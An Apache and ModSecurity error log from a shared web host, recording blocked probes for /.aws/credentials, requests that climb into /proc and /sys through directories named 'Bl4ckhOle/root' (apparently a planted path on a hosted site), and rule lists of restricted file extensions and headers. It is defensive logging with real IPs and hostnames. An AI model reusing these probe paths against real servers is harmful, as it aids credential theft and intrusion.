[Fri Jul 17 10:10:34.412823 2026] [security2:error] [pid 2063442:tid 2063442] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almyQqTW5eFi1WFCzw0XpgAAABc"]
[Fri Jul 17 10:10:34.710595 2026] [autoindex:error] [pid 1993572:tid 1993572] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/assets/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:10:35.380164 2026] [security2:error] [pid 2018768:tid 2018768] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com"] [uri "/.aws/credentials"] [unique_id "almyQ1CBpfuYyhJ140vgCwAAAB4"]
[Fri Jul 17 10:10:35.380450 2026] [security2:error] [pid 2018768:tid 2018768] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/.aws/credentials"] [unique_id "almyQ1CBpfuYyhJ140vgCwAAAB4"]
[Fri Jul 17 10:10:35.413374 2026] [security2:error] [pid 2018768:tid 2018768] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almyQ1CBpfuYyhJ140vgCwAAAB4"]
[Fri Jul 17 10:10:36.010364 2026] [autoindex:error] [pid 2063442:tid 2063442] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:10:36.086432 2026] [security2:error] [pid 2063436:tid 2063436] [client 91.92.241.196:0] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "bostonlanka.com"] [uri "/.aws/credentials"] [unique_id "almyRDM07o9wrUj-Wv1x3QAAABQ"]
[Fri Jul 17 10:10:36.086685 2026] [security2:error] [pid 2063436:tid 2063436] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/.aws/credentials"] [unique_id "almyRDM07o9wrUj-Wv1x3QAAABQ"]
[Fri Jul 17 10:10:36.109176 2026] [security2:error] [pid 2063436:tid 2063436] [client 91.92.241.196:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almyRDM07o9wrUj-Wv1x3QAAABQ"]
[Fri Jul 17 10:10:38.487393 2026] [security2:error] [pid 2063463:tid 2063463] [client 103.169.209.222:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "colperlab.com"] [uri "/xmlrpc.php"] [unique_id "almyRv72foAPmCnen3Sr-gAAABs"]
[Fri Jul 17 10:10:38.487432 2026] [security2:error] [pid 2063463:tid 2063463] [client 103.169.209.222:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "colperlab.com"] [uri "/xmlrpc.php"] [unique_id "almyRv72foAPmCnen3Sr-gAAABs"]
[Fri Jul 17 10:10:38.895408 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:54030] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:41.682850 2026] [ssl:error] [pid 2065297:tid 2065297] (70014)End of file found: [client 66.85.158.91:54532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:41.924815 2026] [core:error] [pid 2060590:tid 2060590] (13)Permission denied: [client 57.141.18.46:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory61/subsystem/devices/memory17/node0/memory56/subsystem/drivers_probe
[Fri Jul 17 10:10:43.957242 2026] [ssl:error] [pid 2064879:tid 2064879] (70014)End of file found: [client 66.85.158.91:54654] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:44.647640 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:54706] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:44.826725 2026] [security2:error] [pid 2063895:tid 2063895] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almyTBf3V7HXByUCfDSyqwAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1220&page_105=1843
[Fri Jul 17 10:10:44.826775 2026] [security2:error] [pid 2063895:tid 2063895] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almyTBf3V7HXByUCfDSyqwAAABY"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1220&page_105=1843
[Fri Jul 17 10:10:44.966684 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.012552 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.036482 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.189911 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:54722] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:45.206762 2026] [security2:error] [pid 2063441:tid 2063441] [client 47.82.48.136:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/uploadprogress.ini"] [unique_id "almyTdKHXJzatLSGO6ItrgAAABU"]
[Fri Jul 17 10:10:45.207605 2026] [security2:error] [pid 2063441:tid 2063441] [client 47.82.48.136:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/uploadprogress.ini"] [unique_id "almyTdKHXJzatLSGO6ItrgAAABU"]
[Fri Jul 17 10:10:45.210837 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.217627 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.222935 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.355710 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.374510 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.409634 2026] [security2:error] [pid 2063441:tid 2063441] [client 47.82.48.136:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/opt/alt/php74/etc/php.d.all/uploadprogress.ini"] [unique_id "almyTdKHXJzatLSGO6ItrgAAABU"]
[Fri Jul 17 10:10:45.409759 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.542068 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.592858 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:45.812781 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:46.297416 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:54780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:47.088964 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:47.308709 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:47.316325 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:47.348383 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:47.411026 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:47.420852 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:47.426164 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:47.591004 2026] [core:error] [pid 2063889:tid 2063889] (13)Permission denied: [client 47.79.10.129:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:62/subsystem/ttyS0/device/driver/unbind
[Fri Jul 17 10:10:47.620504 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:47.623691 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:47.709633 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:48.017753 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:48.723372 2026] [autoindex:error] [pid 2064883:tid 2064883] [client 20.226.66.230:0] AH01276: Cannot serve directory /home/stravel1/public_html/rehanseo.online/wp-includes/Requests/library/: No matching DirectoryIndex (index.php,index.php8,index.php7,index.php5,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.jp,index.phtml,index.shtml,index.xhtml,index.html,index.htm,index.js) found, and server-generated directory index forbidden by Options directive
[Fri Jul 17 10:10:48.873092 2026] [security2:error] [pid 2065297:tid 2065297] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyUIQPslXM9Iu5soRsgAAAAAg"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 10:10:48.873120 2026] [security2:error] [pid 2065297:tid 2065297] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyUIQPslXM9Iu5soRsgAAAAAg"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeg
[Fri Jul 17 10:10:49.018825 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.202562 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.310706 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.350342 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.496216 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.648353 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.683403 2026] [mime:warn] [pid 2068138:tid 2068138] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.743874 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.777365 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.796377 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.887091 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:49.945222 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:50.051695 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:50.215157 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:50.774548 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:50.859198 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:50.867118 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:50.968947 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:51.075341 2026] [mime:warn] [pid 2065297:tid 2065297] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:51.171272 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:52.712924 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:52.716187 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:10:53.068975 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:41208] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:55.805154 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:41366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:57.299407 2026] [security2:error] [pid 2063436:tid 2063436] [client 107.172.180.205:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almyWTM07o9wrUj-Wv1x7AAAABQ"]
[Fri Jul 17 10:10:57.299734 2026] [security2:error] [pid 2063436:tid 2063436] [client 107.172.180.205:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasdev.ksoft.web.lk"] [uri "/"] [unique_id "almyWTM07o9wrUj-Wv1x7AAAABQ"]
[Fri Jul 17 10:10:57.300029 2026] [security2:error] [pid 2063436:tid 2063436] [client 107.172.180.205:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almyWTM07o9wrUj-Wv1x7AAAABQ"]
[Fri Jul 17 10:10:58.003483 2026] [ssl:error] [pid 2063441:tid 2063441] (70014)End of file found: [client 66.85.158.91:41532] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:10:58.453952 2026] [security2:error] [pid 2068138:tid 2068138] [client 107.172.180.205:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/"] [unique_id "almyWg4g1d3E329BkvVPcQAAAAE"]
[Fri Jul 17 10:10:58.454450 2026] [security2:error] [pid 2068138:tid 2068138] [client 107.172.180.205:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/"] [unique_id "almyWg4g1d3E329BkvVPcQAAAAE"]
[Fri Jul 17 10:10:58.686910 2026] [security2:error] [pid 2068138:tid 2068138] [client 107.172.180.205:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraasbackdev.ksoft.web.lk"] [uri "/index.php"] [unique_id "almyWg4g1d3E329BkvVPcQAAAAE"]
[Fri Jul 17 10:10:59.168786 2026] [security2:error] [pid 2063463:tid 2063463] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyW_72foAPmCnen3SsBwAAABs"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:10:59.168818 2026] [security2:error] [pid 2063463:tid 2063463] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almyW_72foAPmCnen3SsBwAAABs"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 10:11:00.848464 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.878921 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.878979 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.879001 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.879019 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.879036 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.879086 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.879104 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.879131 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.879147 2026] [mime:warn] [pid 2063883:tid 2063883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.952507 2026] [mime:warn] [pid 2064879:tid 2064879] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:00.990054 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:01.085576 2026] [mime:warn] [pid 2064883:tid 2064883] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:01.199628 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:11:02.529191 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:44152] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:02.620122 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:44176] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:03.401824 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:44238] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:09.127481 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:44588] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:11:09.528263 2026] [security2:error] [pid 2064879:tid 2064879] [client 107.172.180.205:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "vraasdev.ksoft.web.lk"] [uri "/logo192.png"] [unique_id "almyZWTem5UnhuySh-0oogAAAAA"]
